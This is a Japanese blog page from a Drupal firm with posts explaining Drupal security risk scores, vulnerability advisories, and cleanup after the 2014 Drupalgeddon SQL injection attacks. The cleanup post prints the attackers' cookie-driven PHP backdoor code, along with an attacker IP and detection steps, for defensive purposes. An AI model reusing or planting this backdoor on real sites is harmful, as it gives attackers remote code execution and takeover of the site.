セキュリティ

セキュリティリスク情報の見方について

アイキャッチ画像 Umi->d

こんにちは。先日Drupalから重大な脆弱性に関するセキュリティ勧告が発表されましたね。

日本時間の3月29日早朝にアップデート版がリリースされましたが、
弊社でも朝からアップデート作業を行いました。

まだ対応されていないという方は、お早めにアップデートされることをお勧めいたします。
詳細はこちらからご確認ください。

セキュリティリスクレベルについて知っていますか

今回のようなセキュリティに関する発表がなされた際、以下のようなセキュリティ勧告を見ることになるかと思います。

Drupalのセキュリティ情報

このページに記載されたSecurity riskの値(上の画像でいうとHighly critical)をみて、どの程度危ないのかどうか見極めると思いますが、
このSecurity riskはどのようにして決められているかご存知でしょうか?
そしてその横にある、21/25AC:None/A:None...といったものが何を意味するかご存知でしょうか?

今回はDrupal公式の情報をもとにご紹介いたします。

セキュリティリスクレベルについて

現在のセキュリティ勧告リスクレベルシステムはNIST Common Misuse Scoring System (NISTIR 7864)に基づいています。それぞれの脆弱性はこのシステムを使用して点数化され、0から25の数字が割り当てられます。
総合の点数に応じて、理解しやすいような文言が与えられます。

  • 0 ~ 4点: Not Critical
  • 5 ~ 9点: Less Critical
  • 10 ~ 14点: Moderately Critical
  • 15 ~ 19点: Critical
  • 20 ~ 25点: Highly Critical

リスクレベルはRisk Calculatorによって決定されます。Risk Calculatorには6つの評価基準があり、それぞれ3種類の異なる値を選択肢として持っています。
これは簡潔なフォーマットにコード化され、全てのセキュリティ勧告のSecurity Riskフィールドに含まれます。

以下の表はそれぞれの分野についての詳細説明と点数をまとめたものです。

コード 評価基準 説明
AC

Access complexity

アクセスの複雑さ

攻撃者にとって脆弱性の利用がどの程度困難か

  • AC:None 全く困難でない(直接アクセス可能) +4点
  • AC:Basic 基本的またはルーチン(特定のパスに従う必要がある) +2点
  • AC:Complex 複雑または極めて特異(複数ステップや依存度の高い非直感的なプロセスを経る必要がある) +1点
A

Authentication

権限

悪用が成功するために必要な特権レベルは何か

  • A:None 特になし(誰でも匿名ユーザでも可能) +4点
  • A:User ユーザレベルのアクセス(基本的、一般的な権限をもつことが必要) +2点
  • A:Admin 管理者レベルの権限が必要 +1点
CI

Confidentiality impact

機密性の影響

脆弱性によって非公開のデータにアクセス可能か

  • CI:ALL 全ての非公開データがアクセス可能 +5点
  • CI:Some ある程度の非公開データがアクセス可能になる +3点
  • CI:None 機密性の影響は無し +0点
II

Integrity impact

完全性の影響

この悪用により、システムデータやシステムによって処理されるデータが侵害される可能性があるか

  • II:All 全てのデータは改変や削除される可能性がある +5点
  • II:Some いくつかのデータに改変の恐れがある +3点
  • II:None データの完全性は保持される +0点
E

Exploit (Zero-day impact)

悪用(ゼロデイ攻撃)

既知の悪用が存在するか

  • E:Exploit 悪用が存在している(文書化またはデプロイされた悪用コードがすでに存在する) +4点
  • E:Proof 証明が存在する(悪用の方法がすでに文書化されている) +2点
  • E:Theoretical 理論またはwhite-hatによる報告(公開された悪用コードや開発ドキュメントは存在しない) +1点
TD Target distribution

どの程度のユーザーが影響を受けるか

  • TD:All モジュールの全ての設定において悪用可能 +3点
  • TD:Default モジュールのデフォルトや一般的な設定においては悪用可能だが、設定を変えることで回避できる +2点
  • TD:Uncommon イレギュラーな設定の場合のみ悪用可能 +1点

 

情報を活用しましょう

Drupalセキュリティチームの方が書かれた記事に今回ご紹介した情報の活用例が記載されていましたので翻訳しました。

https://www.mydropwizard.com/blog/understanding-drupal-security-advisories-risk-calculator

例えばあなたのサイトは機密データを取り扱っていますか、それとも商品カタログのような公開データのみのサイトですか。

前者の場合は評価基準の中でも特にCIの値に気を配る必要がありますが、後者のサイトにとってはCI:Someは緊急性は高くないと言えるでしょう。(その場合でも、もしメールアドレスやパスワードを別のサイトで使用しているならCI:Allには気をつけなければいけません)

別の例をあげましょう。あなたのサイトには信頼できないユーザーもログインできますか、それともログインするのはスタッフだけで他は全員匿名ユーザーですか。

後者であればA:UserやA:Adminの脆弱性について過度に心配する必要はないでしょう(匿名ユーザーに付与すべきでない権限を付与したり、ユーザーアカウントに不適切なパスワードを使用したりしていない限りですが。。)

サイトの特徴とリスクレベルについての情報を照らし合わせることで、脆弱性が自分のサイトにとってどれほどの脅威なのかを判断することができます。
その上で適切な行動が取れるといいですね。

ちなみに冒頭でお話しした先月のセキュリティ勧告では、

AC:None/A:None/CI:All/II:All/E:Theoretical/TD:Default

となっていました。
E:Theoreticalなので、実際に攻撃されたり方法が公開されたりしているわけではないですが、その他の評価基準においてはかなり深刻であることがわかりますね。

というわけで、まだアップデートがお済みでないかたはお早めに。

コメントを追加

プレーンテキスト

  • HTMLタグは利用できません。
  • 行と段落は自動的に折り返されます。
  • ウェブページのアドレスとメールアドレスは自動的にリンクに変換されます。

PSA-2016-001: RESTWS と Coder モジュールの深刻な脆弱性を修正したセキュリティリリースについて

日本時間の7月13日午前2時頃に「Drupal 7 のあるモジュールで、任意の PHP のコードが実行できてしまう」セキュリティの脆弱性を修正したモジュールがリリースされるニュースが公表されました。

通常、脆弱性を修正したリリースはいきなり修正版が公開されて「早めにアップデートしてね」と言う流れなのですが、今回は深刻度の高さが 22/25 と言うことから異例の処置が取られたようで、該当のモジュール名が伏せられたまま7月14日午前1時(日本時間)にリリースされることだけがアナウンスされました。これは「アップデートするための猶予をあげるから、みんな時間になったら一斉にアップデートしてね」と言う意味で、2年前に起きた通称 Drupaggedon と呼ばれる SQL インジェクションができてしまうバグ SA-CORE-2014-005 - Drupal core - SQL injection が発見された時に、いつもどおりのリリース方法で多数のサイトが被害にあってしまったことに対する教訓だと思われます。

Drupal.org の Drupal contrib - Highly Critical - Remote code execution PSA-2016-001 の記事には「1,000 から 10,000 サイトで使用されているモジュール」と言う情報だけが掲載されています。普段コントリビュートモジュールをあまり利用されないかたには分かりにくい数値ですが、Drupal で最もインストールされている Views モジュールが Drupal 7 だけで 830,000 サイトなので、該当するモジュールを利用している確率はあまり高くはないともとれますが、十分に注意が必要なレベルです。

ちなみに今回の脆弱性は「任意の PHP コードが実行できる = 何でもできる」です。これがイマイチをピンと来ない方のために解説すると、サイトが改ざんされるだけならまだしも、データベースが簡単に丸ごと抜かれてしまいます。個人情報が入ったサイトであれば一巻の終わりですね。また、サイト管理者が気づかれないようなバックドアが仕掛けられて、アップデート後にも自由にアクセスできるようにされてしまうなど、「攻撃される前に対策をしないと、最低でもサイト全体を一から作りなおすことになる」と認識してください。

今回のリリースはいつもの Security advisories で公開されるそうです。

-- 追記 --

と、言うことで1時になり、該当のモジュールが発表されました。Highly critical として位置づけされているのは RESTful Web ServicesCoder の2つモジュールでした。1つだけかと思っていたのですが、2つ同時だったんですね。いずれもログインしていないユーザーが任意の PHP コードが実行可能となるもので、対策はモジュールのアップデートのみです。

該当のモジュールについて簡単に紹介します。

  • RESTful Web Services: その名の通り Drupal に RESTful な API を実装るためのモジュールで、オープンデータ用のディストリビューションとして有名な DKAN にも含まれているようです。REST API が使える Drupal サイトは導入されている可能性がかなり高いので注意しましょう。ちなみにこのモジュールは Drupal 8 でコアに取り込まれましたが、今回は Drupal 7 のモジュールのみが対象のようです。
  • Coder: Drupal の開発者向けのモジュールで、サイト上に設置されたテーマやモジュールが Drupal のコーディング規約を正しく守っているかチェックするモジュール。完全に開発用のモジュールなので普通は公開されているサイトには入れないモジュールですが、今回の脆弱性はモジュールが有効になっていなくても置いてあるだけで攻撃が可能とのことなので、以前に Coder を使われたことがある方は本番サイトに紛れ込んでいないかよく注意する必要があります。

また、上記の2つとは別に Webform Multiple File Upload - Critical - Remote Code Execution - SA-CONTRIB-2016-038 も同時にリリースされています。こちらは条件が厳しい分、深刻度は低いのですが、同じように任意の PHP コードが実行できてしまうので、もし使用されている場合は速急にアップデートしましょう。

私としてはどれも試用したり名前を聞いたことがあるモジュールなので、明日は我が身と言うことを改めて思い知りました。

コメントを追加

プレーンテキスト

  • HTMLタグは利用できません。
  • 行と段落は自動的に折り返されます。
  • ウェブページのアドレスとメールアドレスは自動的にリンクに変換されます。

Drupal は安全ですか? 日本語訳

アイキャッチ画像 Umi->d

今回は Drupal (ドルーパル)ドキュメントの日本語訳シリーズの一環で、 Drupal の安全性に関して解説した記事を翻訳してご紹介できればと思います。

元となる記事は Drupal.org の「 Is Drupal secure? ( Drupal は安全ですか?)」という記事です。 とても短い文章ではありますが、 Drupal に興味を持って間もない方が共通して抱く「オープンソースってセキュリティ的にどうなの?」「 Drupal ってセキュリティにどうなの?」という質問に端的に答えたわかりやすい内容となっています。 また、詳しく掘り下げたい方のために各トピックの詳細記事へのリンクもありますので、 Drupal のセキュリティについて知りたい場合にまず最初に見ておいて間違いはないページだと思います。

それでは以下、翻訳文となります。 いつものごとく日本語としてのわかりやすさを重視して、ところによっては直訳ところによっては意訳としています。 特に「 secure 」という単語については「安全」と訳した方がいい場合と「セキュア」とそのままにしておいた方がいい場合とがある感じだったので、文脈によって言い回しを変えています。 原文の厳密なニュアンスが知りたい方はぜひ原文の方にあたってみてください。

なお、元にしたのは本記事執筆時点の最新版である 2014 年 11 月 29 日更新のバージョンです。

Drupal は安全ですか?

Drupal にはセキュリティに関して非常によい実績があります。 また、潜在的なセキュリティ問題の調査やチェック、公表に関する体系だったプロセスを持っています。

Drupal のセキュリティチームはセキュリティ問題が生じたときの対応を Drupal コミュニティと協力しながら絶えず行っています。 このプロセスについてのより詳しい情報はハンドブック内の該当するセクションに載っています。

セキュリティチームのメンバーは、 Drupal のコアやコントリビュートプロジェクトのコードにかんたんに見つかる脆弱性がある場合に例外的に解析を行うことがありますが、一般的にはセキュリティチームがコアやコントリビュートモジュールのレビューを行うことはありません。

Drupal を利用している人は皆セキュリティメーリングリストを購読し( drupal.org でアカウントプロフィールを編集すると購読できます)、あらゆるタイプの最新のセキュリティ通知が自動的に入ってくる状態にしておくべきです。

よくある質問:

オープンソース・ソフトウェアは安全ですか?

短い回答としては「オープンソース・ソフトウェアは商用ソフトウェアと同等あるいはそれ以上に安全です。」になります。 これに関連したよいまとめが IBM の記事 The security implications of open source software に載っています。 オープンソースの利用がセキュリティの向上に繋がるということは、ホワイトハウスが Drupal に移行した際の理由のひとつにあげられています。

Drupal は一般的なセキュリティ脆弱性の問題にどう対応していますか?

Drupal の API とデフォルトの設定はそのままの状態で使用したときにセキュアになるように設計されています。 インジェクションやクロスサイトスクリプティング、セッション管理やクロスサイトリクエストフォージェリなどの問題についてはすべて Drupal API において標準的なソリューションが与えられています。 このトピックに関するより詳しいレビューは Drupal セキュリティレポートをご覧ください。

なぜ Drupal のセキュリティ通知は他のプロジェクトよりも多い(あるいは少ない)のですか?

セキュリティ通知の絶対数はまったく意味のない数字であり、比較に使うべきものではありません(コントリビュートプロジェクトを含む場合は特に)。 Drupal には 7000 を越えるコントリビュートプロジェクトがあり、あらゆる潜在的な問題についてユーザたちからくまなくチェックされています。 比較的マイナーな問題に対してセキュリティ通知が出されることもあります。 より詳しい情報は Security Risk Levels をご覧ください。

また、潜在的な問題の発見の指摘やすでに解決済みの問題の周知のためにセキュリティ通知が使われるということも知っておくべきです。 セキュリティ通知でセキュリティフィックスがアナウンスされる前にセキュリティホールが悪用されるのは極めて稀なケースです。 したがって、もっとも重要な自衛策は、あなたが使用している Drupal のコアやコントリビュートコードに関するセキュリティ通知があったときには必ず Drupal を最新の状態に保つということです。

稼働中のサイトで見つかったり悪用されたりした脆弱性としてどのようなものがありますか?

Drupal サイトのプロのセキュリティ監査は一般に、セキュリティホールの大部分( 90% 以上)はサイト開発者のカスタムテーマやカスタムモジュールの中にあるということを確認しています。 カスタムコードは drupal.org にあるコードと同等のコミュニティによる精査を受けることはありません。

加えて、 Drupal (特に Drupal コア)の脆弱性よりもサーバレベルの問題( FTP などのセキュアでないプロトコルの使用など)の方が成功した攻撃において利用されていた傾向が高いといえます。

Drupal のセキュリティの扱い方に関する情報は Drupal 管理ガイドの Securing Your Site をご覧ください。

以上です。

いかがだったでしょうか?

Drupal はいわゆる「 OSS 」、オープンソース・ソフトウェアです。 Drupal が「オープンソース」「無料」と聞くと反射的に「品質が低いんじゃないの?」「セキュリティが弱いんじゃないの?」と考えられる方も多くいらっしゃいますが、実際にはオープンソースだからといって品質が低い、セキュリティが弱いなんてことはありません

また、他の CMS と比較して「 WordPress と比べてどうなの?」「 Joomla! と比べてどうなの?」といったことを聞かれる方もいらっしゃいますが、このあたりは車の機種 A と機種 B の安全性を比較して「どちらの方が事故しにくいですか?」と聞くようなものに近く、なかなか優劣をつけがたいところでもあります(スタジオ・ウミのメンバーとしては「 Drupal の方がいいよ」と言ってしまいたいところですが(笑)、ニュートラルな立場で考えると優劣つけがたいというのが実際です)。 そのあたりのことも含めて Drupal のセキュリティについての正しい認識がこの記事とそのリンク先記事でご確認いただけるのではないかと思います。

自動車を運転するかぎりその事故リスクはゼロにはできないように、ソフトウェアも使うかぎりはそのセキュリティリスクをゼロにすることはできません。 ただ自動車を使う場合には徒歩や自転車、電車などでは得られないそれなりのメリットがあるように、 CMS などのソフトウェアにもそれを利用するメリットがたくさんあります。 このあたりのプラス・マイナス、両面を踏まえて、運転(運用)上の注意すべき点も押さえた上で、ぜひ多くの方に安心して CMS や Drupal を使っていただきたいと思っています。

そして、 Drupal をお選びの際にはスタジオ・ウミがお力になれるかと思いますのでぜひお気軽にお声がけいただければと思います。

コメントを追加

プレーンテキスト

  • HTMLタグは利用できません。
  • 行と段落は自動的に折り返されます。
  • ウェブページのアドレスとメールアドレスは自動的にリンクに変換されます。

Drupal 7.32未満のサイトが SA-CORE-2014-005 の脆弱性をついて攻撃されてしまった時の対処法

先日の10月15日、 Drupal の極めて危険なセキュリティ・ホール SA-CORE-2014-005 が発表され、それと同時にその脆弱性を修正した Drupal 7.32 がリリースされました。

このセキュリティ・ホールはいつものとは格段に違う危険なものです。何がヤバイかと言うと、ログインしていないユーザーでもサイト上にフォームさえあれば誰でもSQLインジェクションをすることができると言う点です。通常の Drupal サイトでしたら /user のパスにログインフォームが必ず存在するので、よほど特殊な対応をしていない限り簡単に侵入されてしまいます。Drupal 7.0 〜 7.31のサイトは全てこの問題を抱えていますので、もしあなたがDrupalサイトのオーナーであれば手遅れになる前に速急に対処してください。

SQLインジェクションをご存知で無い方のために簡単に説明します。SQLインジェクションとはサイト上で使用しているデータベースに対して任意のクエリーを実行する行為で、これが何を意味するかと言うと攻撃者はサイトをほぼ自由自在に操れると言うことになります。

既に攻撃が開始されています

10月16日の晩辺りから早速このセキュリティホールを使って世界中のDrupalサイトが攻撃されています。今回の一連の攻撃は不幸中の幸いながらサイトを停止させたりコンテンツを改ざんするものではなく、発覚したセキュリティホールに自ら対策パッチを当て、悪質なPHPファイルを設置すると言ったものです。なぜ自らセキュリティパッチを当てているかについては不明ですが、前記のPHPファイルを置いている事からおそらく既にバージョンアップされていると錯覚させるための偽装行為でしょう。Drupal.org FAQ on SA-CORE-2014-005 の My site has already been patched の節にもこの攻撃の内容が書かれていますので参照してください。

攻撃されてたか確認する方法

  • 18日現在、攻撃者はロシアのVPSサーバーのIPアドレス 62.76.191.119 から攻撃を仕掛けています。Apacheのアクセスログで上記IPアドレスからのアクセスがあれば、まず攻撃されていると思って間違いありません。
  • phpMyAdmin などを使ってサイトで使用しているデータベースにある menu_router テーブルを開き、 access_callback フィールドに file_put_contents の値が入っているレコードを検索し、ヒットしたら攻撃されています。
  • もしサイトをGitを使って管理されているなら簡単です。git status コマンドを使って /modules/MODULE/XXXX.php と言う不審なファイルが増えていれば攻撃されています。設置されているファイルの中身は以下の様なソースコードになっているはずです。(見やすくするため整形しています)

対策方法

残念ながら既に攻撃されてしまったサイトの対処方法を解説します。

悪質なPHPファイルを削除する

ファイル名とディレクトリがランダムに生成されていて特定しにくく厄介ですが、以下の様なパターンで生成されています。

  • ファイルは /modules 以下のコアモジュールのいずれかのディレクトリに隠されている。
  • ファイル名は 4文字.php

また、下記で解説している menu_router テーブルの access_arguments フィールドに、以下の様なPHPのシリアライズされたコードが入っているはずですので、そこからファイルのパスを判断することもできます。

a:2:{i:0;s:21:"modules/blog/cfeq.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

手っ取り早い対処方法は正規の手順で Drupal 7.32 にアップデートする事です。つまり sites 以下のフォルダをどこかにバックアップし、それ以外のDrupalの構成ファイル全てを上書きではなく差し替える方法です。それが何らかの理由でできない場合は、コアの modules フォルダだけでも 7.32 の内容に置き換えても良いかもしれません。

menu_router テーブルのレコードを削除する

menu_router テーブルに悪意のあるコードを生成するためのレコードが挿入されていますのでそれを削除します 。 menu_router テーブルの access_callback フィールドに file_put_contents の値が挿入されているレコードを検索して削除してください。削除するSQLクエリは以下のようになりますが、環境によっては余計なレコードまで消してしまう恐れがあるので自己責任でご利用ください。

DELETE FROM menu_router WHERE access_callback = 'file_put_contents'

以上となります。

今回の攻撃は幸いなことに大したものではありませんが、一般的なApacheサーバーやデータベースサーバーでは今回の手口に関するログは残されていない場合が多く、上記の攻撃者以外にも既に侵入されている可能性があります。また、今後このセキュリティホールを突いたもっと悪質な攻撃を仕掛けてくる攻撃者が現れることは間違いありません。この問題を放置するとサイトが乗っ取られるだけでは無く、他者への攻撃の踏み台になるような事までされますので、繰り返しますが取り返しの付かない事態になる前に速急にDrupalのバージョンを 7.32 以上へアップデートしてください。

コメントを追加

プレーンテキスト

  • HTMLタグは利用できません。
  • 行と段落は自動的に折り返されます。
  • ウェブページのアドレスとメールアドレスは自動的にリンクに変換されます。